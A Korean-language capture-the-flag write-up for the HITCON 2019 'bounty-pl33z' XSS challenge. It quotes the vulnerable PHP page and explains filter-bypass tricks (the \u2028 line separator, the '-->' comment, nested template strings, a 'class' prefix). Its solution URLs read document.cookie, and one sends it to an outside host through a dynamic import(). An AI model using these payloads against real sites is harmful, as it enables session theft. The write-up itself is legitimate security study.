writeup

Hitcon 2019 – bounty-pl33z

<?php
    $q = isset($_GET['q'])? $_GET['q']: '';
    $q = str_replace(array("\r", "\n", "/", "\\", "<", "."), "", $q);
    if( substr_count($q, "'") > 1) $q = str_replace("'", "", $q);
    if( substr_count($q, '"') > 1) $q = str_replace('"', "", $q);
    $host = $q . ".orange.ctf";
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8"/>
    <script type="text/javascript">
        if (window.top == window.self) {
            window.self.location.href = "https://<?=$host;?>/oauth/authorize?client_id=1&scope=read&redirect_uri=https://twitter.com/orange_8361";
        } else {
            var data = JSON.stringify({
                message: 'CTF.API.remote',
                data: {
                    location: "https://<?=$host;?>/oauth/authorize?client_id=1&scope=read&redirect_uri=https://twitter.com/orange_8361"
                }
            });
            window.parent.postMessage(
                data, 
                "https://<?=$host;?>"
            );
        }
    </script>
</head>
<body>
</body>
</html>

hitcon 2019 에서 출제된 xss 문제로 알려진 풀이는 두가지입니다.

Intended Solution

// http://3.114.5.202/fd.php?q=rwx%252ekr?"%2bdocument[`cookie`]%E2%80%A8-->

오렌지가 공개한 의도된 풀이로 --> 문자를 사용해 해결하는 방법입니다.
다만 --> 를 문자열 직후에 넣는다면, -- 가 postfix 연산자로 해석되어 Invalid left-hand side expression in postfix operation 오류를 발생시키므로 crlf 등을 통해 개행 처리를 해 주어야 합니다.
일반적인 화이트 스페이스는 필터링 되어 있지만, \u2028, \u2029 등을 통해 대체할 수 있습니다.

이외에 자바스크립트 상에서 공백으로 해석될 수 있는 문자들은 다음과 같습니다.
9 - 13, 32, 160, 5760, 8192 - 8202, 8232, 8233, 8239, 8287, 12288, 65279

Unintended Solution

http://3.114.5.202/fd.php?q=rwx.kr?`%2b"%2bdocument[`cookie`];(`${`

마찬가지로 오렌지가 발표한 unintended solution 입니다.
nested template string 을 사용하여 문제를 해결할 수 있습니다.

My Solution

http://3.114.5.202/fd.php?q=rwx%252ekr%23%60%7D,",(%60,class%20$%7Bx=%60$%7B(import(`http:rwx%252ekr?`%2bdocument[`cookie`]))%7D%7D;

위는 제가 풀이에 사용한 방법입니다.

기본적으로 오렌지의 두번째 풀이와 비슷하게 nested template string 을 사용하여 문제를 해결하였습니다. template string 내부에서의 expression interpolation인 ${expression} 와 같은 형태로 서브 스크립트를 포함할 수 있는데, 거기에 추가로 class 정의식인 ${ … } 를 활용하여 문제를 해결한 것입니다.
첫번째 reflecting point에서 홀수의 backtick 으로 종결되면 첫 reflecting point 에서 backtick 내부에 포함되었던 “${}” expression 이 두번째 문장에서는 backtick 밖에서 실행되기에, 여기서 SyntaxError 가 발생합니다. 따라서 저는 이를 방지해 주기 위해 prefix로 class 예약어를 사용하였습니다. 쿼트 밖에서 “${}”는 SyntaxError를 발생시키지만 “class ${}” 는 오류를 일으키지 않으니까요. 마지막으로 뒤에 스크립트를 추가한다고 해도 location=”https:// … ” 은 여전히 실행되어 스크립트가 실행되기 전에 페이지가 리다이렉션 될 수 있으므로, 자바스크립트의 비동기적 특성에 기인하여 import 를 사용해 redirection 되기 전에 다른 서버로 쿠키를 전송되도록 했습니다.

Reference

https://github.com/orangetw/My-CTF-Web-Challenges

Leave a Reply

Your email address will not be published. Required fields are marked *